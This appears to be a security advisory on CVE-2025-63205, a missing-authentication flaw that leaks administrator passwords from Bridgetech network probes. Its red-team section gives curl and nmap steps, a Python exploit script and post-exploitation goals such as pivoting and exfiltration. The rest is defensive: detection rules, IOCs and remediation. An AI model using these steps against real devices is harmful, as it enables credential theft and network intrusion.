CVE-2025-63205

Executive Summary

CVE-2025-63205 exposes a critical information disclosure vulnerability in multiple Bridgetech network probe devices, including the VB220, VB120, VB330, VB440, and NOMAD. The vulnerability allows an unauthenticated attacker to retrieve sensitive information, specifically administrator passwords, by accessing the /probe/core/setup/passwd endpoint. This endpoint does not require authentication, effectively leaking credentials that could grant full administrative control over the device.

The vulnerability is particularly dangerous because these probes are often deployed in critical network infrastructure for monitoring and analytics. An attacker with administrative access could reconfigure the device, intercept network traffic, or use it as a pivot point for deeper network compromise. The vendor disputes the affected version range, claiming the issue was fixed in 2020, but the original report indicates version 6.5.0-9 is still vulnerable. This discrepancy suggests either a regression or incomplete patching.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in embedded network appliances. The supply chain risk lies in the procurement and lifecycle management of these physical devices. Organizations using Bridgetech probes must verify the firmware version installed on each device and ensure they are running a patched version (5.6.0-4 or later, per the vendor). Unpatched devices represent a supply chain security gap that can be exploited by adversaries who gain physical or network access to the probe.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) – based on the CVSS vector derived from the vulnerability characteristics.

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Threat Level: High. The ease of exploitation (no authentication, low complexity) combined with the high impact on confidentiality makes this a critical risk for any organization using the affected Bridgetech probes. An attacker can quickly enumerate vulnerable devices on the internet using Shodan dorks and extract credentials.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of Bridgetech probes. The /probe/core/setup/passwd endpoint is designed to allow configuration of the administrator password. However, it fails to enforce authentication before serving the current password hash or, in some implementations, the plaintext password.

Root Cause: The web server handling the /probe/core/setup/passwd endpoint does not check for a valid session or authentication token before returning the password data. This is a classic case of missing authentication on a sensitive API endpoint.

Attack Flow:

1. Reconnaissance: The attacker identifies a Bridgetech probe on the network (e.g., via Shodan or internal scanning).
2. Request: The attacker sends an HTTP GET request to http://<target_ip>/probe/core/setup/passwd.
3. Response: The server responds with the administrator password, either in plaintext or as a reversible hash.
4. Exploitation: The attacker uses the obtained credentials to log into the probe's web interface with full administrative privileges.

Technical Details:

• The endpoint likely returns a JSON or HTML response containing the password field.
• In some firmware versions, the password might be hashed (e.g., MD5, SHA-1) but without proper salting, making it vulnerable to offline cracking.
• The vendor's claim that version 5.6.0-4 fixed the issue suggests that the fix involved adding authentication checks to this endpoint.

Vulnerable vs. Patched Code

Since the source code is not publicly available, we analyze the behavior difference.

Vulnerable Code (Conceptual):

# Example of vulnerable Flask route
@app.route('/probe/core/setup/passwd')
def get_password():
    # No authentication check
    password = read_password_from_config()
    return jsonify({'password': password})

Patched Code (Conceptual):

# Example of patched Flask route
@app.route('/probe/core/setup/passwd')
@login_required  # Authentication decorator added
def get_password():
    password = read_password_from_config()
    return jsonify({'password': password})

The patched version introduces an authentication check (e.g., @login_required) that verifies the user has a valid session before returning the password. This prevents unauthenticated access.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Bridgetech VB220 with firmware 6.5.0-9 (or any unpatched version).
• Attacker: Kali Linux VM on the same network.

Exploitation Steps:

1. Identify the target:

   nmap -p 80,443,8080 --open -sV <target_ip>
   

2. Extract the password:

   curl -s http://<target_ip>/probe/core/setup/passwd
   

   Example response:

   {"password":"admin123","username":"admin"}
   

3. Login to the web interface:

   curl -c cookies.txt -b cookies.txt -X POST -d "username=admin&password=admin123" http://<target_ip>/login
   

4. Post-exploitation: Once logged in, the attacker can:

   • Change the password to lock out the legitimate admin.
   • Modify network monitoring configurations.
   • Exfiltrate captured network data.
   • Use the device as a pivot to attack other internal systems.

Automated Exploit (Python):

import requests
import sys

def exploit(target):
    url = f"http://{target}/probe/core/setup/passwd"
    try:
        r = requests.get(url, timeout=10)
        if r.status_code == 200:
            print(f"[+] Success! Password data: {r.text}")
        else:
            print(f"[-] Failed. HTTP Status: {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team (Defensive)

Detection & Response:

1. Monitor for suspicious requests:

   • Alert on any HTTP GET request to /probe/core/setup/passwd from an IP address that is not a known administrator.
   • Use the Sigma rule provided in the Detection Engineering section.

2. Network Segmentation:

   • Ensure Bridgetech probes are on a separate management VLAN with strict access controls.
   • Block inbound access to the probe's web interface from untrusted networks (e.g., the internet).

3. Honeypot:

   • Deploy a decoy Bridgetech probe to detect scanning and exploitation attempts.

4. Incident Response:

   • If exploitation is detected, immediately isolate the affected probe.
   • Reset all credentials used on the probe.
   • Check for any unauthorized configuration changes.
   • Apply the vendor patch (upgrade to firmware 5.6.0-4 or later).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /probe/core/setup/passwd from external IPs.
• Unusual login attempts to the probe's web interface from unknown IPs.
• Outbound connections from the probe to unknown external IPs (data exfiltration).

File IOCs:

• Modified configuration files on the probe (e.g., /etc/shadow or equivalent).
• Presence of unauthorized SSH keys or backdoor accounts.

Behavioral IOCs:

• Probe's web interface accessed outside of normal maintenance windows.
• Multiple failed login attempts followed by a successful login from a new IP.

Detection Engineering

YARA Rule

rule CVE_2025_63205_Bridgetech_Password_Leak {
    meta:
        description = "Detects HTTP responses containing Bridgetech probe password leak"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63205"
        hash = "unknown"
    strings:
        $password_field = "password" ascii wide nocase
        $username_field = "username" ascii wide nocase
        $probe_path = "/probe/core/setup/passwd" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Bridgetech Probe Password Leak Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-63205 by accessing the password endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-63205
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/probe/core/setup/passwd'
    condition: selection
falsepositives:
    - Legitimate administrative access from known IPs
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-63205 Bridgetech Probe Password Leak Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/probe/core/setup/passwd"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Firmware: Update all Bridgetech probes to firmware version 5.6.0-4 or later (per vendor). If using version 6.5.0-9, contact Bridgetech for a specific patch.
2. Restrict Access: Implement firewall rules to allow access to the probe's web interface only from trusted administrative IPs.
3. Change Default Credentials: Immediately change the administrator password on all probes to a strong, unique password.

Long-Term Mitigations:

1. Network Segmentation: Place probes on a dedicated management VLAN with strict ACLs.
2. Web Application Firewall (WAF): Deploy a WAF to block requests to /probe/core/setup/passwd from untrusted sources.
3. Regular Vulnerability Scanning: Include Bridgetech probes in regular vulnerability scans.
4. Vendor Communication: Engage with Bridgetech to clarify the patch status for version 6.5.0-9 and obtain a definitive fix.

Workaround (if patching is not immediately possible):

• Disable the web interface on the probe if not required.
• Use a reverse proxy to add authentication to the /probe/core/setup/passwd endpoint.

Valters IT
DevSecOps & Cyber Threat Intelligence